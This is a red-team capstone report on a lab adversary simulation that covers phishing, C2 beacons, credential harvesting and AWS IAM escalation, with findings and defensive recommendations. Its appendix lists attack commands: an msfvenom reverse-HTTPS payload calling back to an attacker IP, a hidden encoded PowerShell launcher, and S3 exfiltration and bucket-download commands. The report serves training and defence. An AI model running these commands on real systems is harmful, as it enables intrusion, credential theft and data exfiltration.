# Capstone Report — Full Adversary Simulation

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Scope: End-to-end adversary simulation across network and cloud in an isolated lab environment.

---

## Executive Summary (100 words)

A controlled capstone simulation replicated a full red-team campaign covering reconnaissance, phishing, C2 deployment, privilege escalation in cloud IAM, living-off-the-land credential harvesting, and data exfiltration of mock artifacts. Key findings: overprivileged IAM roles, publicly exposed S3 data, and fileless PowerShell beacons enabled persistent access. Immediate actions: enforce MFA, remove public S3 ACLs, apply least-privilege IAM, enable CloudTrail data events, and tune EDR for script-based threats.

## Technical Summary (200 words)

This capstone engagement executed an end-to-end adversary simulation in a segregated lab. Reconnaissance combined host scanning and cloud enumeration to discover open services and misconfigured S3 buckets. Phishing infrastructure (Evilginx2) captured credentials used to authenticate to internal services and cloud consoles. Stageless PowerShell launchers (PoshC2/Cobalt-style) and msfvenom-generated payloads established HTTPS beacons to the attacker (192.168.17.128). Pacu modules exposed overprivileged IAM roles and instance-profile weaknesses, enabling STS assume-role escalation and broad S3 access. Living-off-the-land techniques (PowerShell, WMI, Invoke-Mimikatz) harvested credentials in memory; automated orchestration (Caldera/RTA) chained reconnaissance to exfiltration. Detections observed included Wazuh alerts for encoded PowerShell and CloudTrail PutObject events; however, gaps in telemetry correlation permitted simulated exfiltration to complete before full containment. Recommendations prioritize MFA enforcement, S3 hardening, least-privilege IAM, CloudTrail data-event logging, EDR tuning for in-memory behaviors, and SOC automation to reduce detection and response times.

## Objective & Scope

Objective: Validate detection and response coverage by simulating a realistic multi-stage attack spanning host and cloud environments. Scope: Isolated lab with attacker (Kali 192.168.17.128), Windows target (192.168.17.129), and simulated/isolated AWS test account for S3/IAM experiments.

## Environment & Tools

Attacker: Kali Linux (PoshC2, Metasploit, Caldera, Pacu).

Target: Windows VM with Wazuh agent; simulated AWS test account (CloudGoat/Pacu).

Tools: PoshC2, Cobalt Strike (example), Metasploit, msfvenom, Pacu, awscli, Evilginx2, Caldera, Veil, proxychains, PowerSploit, Mimikatz, Draw.io.

## Methodology

1. Reconnaissance: nmap and Pacu to enumerate hosts, open ports, S3 buckets, and IAM roles.

2. Initial Access: Phishing via Evilginx2 to harvest credentials and deliver PowerShell one-liners or payloads.

3. C2 Deployment: Generate stageless PowerShell and EXE payloads; host and execute to establish HTTPS beacons.

4. Post-Compromise: Use LOTL techniques and Mimikatz to harvest credentials; escalate cloud privileges via Pacu-identified roles.

5. Exfiltration: Transfer mock artifacts to attacker-controlled S3; validate via CloudTrail and Wazuh logs.

6. Orchestration: Automate sequences with Caldera/RTA to test detection at scale.

## Reconstructed Timeline (concise)

- Recon: Host and cloud enumeration.  
- T0+X: Phishing link delivered; credentials captured.  
- T0+Y: Payload executed via PowerShell; beacon to attacker.  
- T0+Z: Assume-role or credential use permitted S3 access; mock data exfiltration performed.  
- Detection: Wazuh alerted on PowerShell anomalies; CloudTrail recorded S3 PutObject; correlation lag allowed exfiltration window.

## Findings & Risk (summary)

FID001 — Overprivileged IAM role — MITRE: T1078.004 — Risk: Critical — Remediation: Apply least-privilege, review role trust policies, enable IAM Access Analyzer.  
  
FID002 — Public/misconfigured S3 bucket — MITRE: T1580/T1537 — Risk: High — Remediation: Block public access, enable S3 logging and lifecycle policies.  
  
FID003 — Fileless PowerShell beacon (PoshC2/Cobalt) — MITRE: T1059/T1071 — Risk: High — Remediation: Enable PowerShell script block logging, AMSI, and EDR behavioral rules.  
  
FID004 — Credential harvesting (Mimikatz/LOTL) — MITRE: T1003/T1059 — Risk: High — Remediation: Memory protection, LAPS, restrict admin credentials, and immediate rotation after compromise.

## Prioritized Recommendations

1. Enforce MFA across console/API access and sensitive accounts (Immediate).

2. Remove public S3 ACLs; enable CloudTrail data event logging and S3 access logs (Immediate).

3. Apply least-privilege IAM reviews and use SCPs in AWS Organizations (Short-term).

4. Enable PowerShell Script Block Logging, AMSI, and Sysmon; tune EDR for in-memory/script activity (Short-term).

5. Implement SOC automation: playbook-driven containment for beaconing hosts and anomalous AssumeRole events (Medium-term).

6. Conduct regular adversary emulation and red/blue automation to validate controls (Ongoing).

## Detection & Recommended Playbooks

Hunt for: frequent outbound HTTPS with periodic intervals to uncommon domains; encoded PowerShell commands; rapid AssumeRole events followed by S3 PutObject.

Containment playbook (brief): isolate host, capture memory, revoke credentials/assume-role sessions, block egress, and begin forensic triage.

## Forensic Artifacts

- Memory dumps of compromised hosts; LSASS analysis for credentials.  
- Sysmon and PowerShell logs; EDR telemetry and process creation chains.  
- CloudTrail management + data events, S3 access logs, and Pacu session outputs.  
- Network captures (PCAP) showing beacon timing and exfiltration flows.

## Non-Technical Brief (100 words)

In a simulated exercise, attackers gained access using stolen credentials and misconfigurations to copy mock sensitive files. Immediate steps: enable multi-factor authentication, lock down cloud storage, and review user and service privileges. These actions significantly reduce the risk while technical teams implement deeper controls. A prioritized remediation plan and technical report accompany this brief.

## Appendix: Key Reconstructed Commands

Examples (lab-only):  
msfvenom -p windows/meterpreter/reverse\_https LHOST=192.168.17.128 LPORT=443 -f exe -o payload.exe -e x86/shikata\_ga\_nai -i 3  
powershell -NoP -NonI -W Hidden -EncodedCommand <BASE64>  
aws s3 cp exfil\_data.zip s3://mock-exfil-bucket/ --profile compromised  
pacu (run iam\_\_enum\_roles; run s3\_\_enum\_buckets; run s3\_\_download\_bucket --bucket vulnerable-bucket)

## Reference:

1. Advanced C2 lab:

-

- Screenshot From 2025-09-09 00-37-37.png

- Screenshot From 2025-09-09 00-38-02.png

- Screenshot From 2025-09-17 22-55-50.png

- Screenshot From 2025-09-18 18-44-24.png

- Screenshot From 2025-09-18 18-44-31.png

- Screenshot From 2025-09-18 18-45-07.png

- Screenshot From 2025-09-18 19-01-33.png

- Screenshot From 2025-09-18 19-02-25.png

- Screenshot From 2025-09-18 19-14-04.png

2. Cloud Attack:

-

- Screenshot From 2025-09-12 14-31-22.png

- Screenshot From 2025-09-13 22-19-33.png

- Screenshot From 2025-09-15 15-29-05.png

- Screenshot From 2025-09-15 15-32-08.png

- Screenshot From 2025-09-15 15-46-28.png

- Screenshot From 2025-09-15 22-24-16.png

- Screenshot From 2025-09-16 15-58-06.png

- Screenshot From 2025-09-16 16-04-51.png

- Screenshot From 2025-09-16 17-03-30.png

- Screenshot From 2025-09-16 17-07-01.png

- Screenshot From 2025-09-16 17-12-05.png

- Screenshot From 2025-09-16 17-13-47.png

- Screenshot From 2025-09-16 17-17-12.png

- Screenshot From 2025-09-16 17-21-31.png

- Screenshot From 2025-09-16 17-22-12.png

3. Advanced Emulation Lab:

-

- Screenshot 2025-09-16 210356.png

- Screenshot 2025-09-17 154916.png

- Screenshot From 2025-09-16 19-54-26.png

- Screenshot From 2025-09-16 21-03-49.png

- Screenshot From 2025-09-16 21-04-37.png

- Screenshot From 2025-09-16 21-05-44.png

- Screenshot From 2025-09-16 21-12-11.png

- Screenshot From 2025-09-17 13-53-15.png

- Screenshot From 2025-09-17 13-57-01.png

- Screenshot From 2025-09-17 15-24-05.png

- Screenshot From 2025-09-17 15-25-30.png

- Screenshot From 2025-09-17 15-25-39.png

- Screenshot From 2025-09-17 15-33-38.png

- Screenshot From 2025-09-17 15-53-50.png

- Screenshot From 2025-09-17 15-56-37.png

- Screenshot From 2025-09-17 15-58-43.png

- Screenshot From 2025-09-17 16-11-57.png

4. Advanced Evasion Lab:

-

- Screenshot From 2025-09-17 21-19-42.png

- Screenshot From 2025-09-17 21-23-12.png

- Screenshot From 2025-09-17 21-29-05.png

- Screenshot From 2025-09-17 21-30-06.png

- Screenshot From 2025-09-17 22-01-07.png

5. Cloud Privilege Abuse Simulation Lab:

-

- Screenshot From 2025-09-17 22-22-04.png

- Screenshot From 2025-09-17 22-26-28.png

- Screenshot From 2025-09-17 22-29-29.png

- Screenshot From 2025-09-17 22-31-22.png

- Screenshot From 2025-09-17 22-32-34.png

- Screenshot From 2025-09-17 22-35-04.png

- Screenshot From 2025-09-17 22-36-56.png

- Screenshot From 2025-09-17 22-46-14.png

7. Living-Off-the-Land Lab:

-

- Screenshot 2025-09-17 230448.png

- Screenshot 2025-09-17 231424.png

- Screenshot 2025-09-17 231458.png

- Screenshot 2025-09-17 231801.png

- Screenshot 2025-09-17 231935.png

- Screenshot 2025-09-18 024026.png

9. Capstone report:

-

- Screenshot From 2025-09-17 23-28-05.png

- Screenshot From 2025-09-17 23-32-36.png

- Screenshot From 2025-09-17 23-33-20.png

- Screenshot From 2025-09-17 23-37-24.png

- Screenshot From 2025-09-17 23-38-24.png

- Screenshot From 2025-09-18 00-01-17.png

- Screenshot From 2025-09-18 00-01-27.png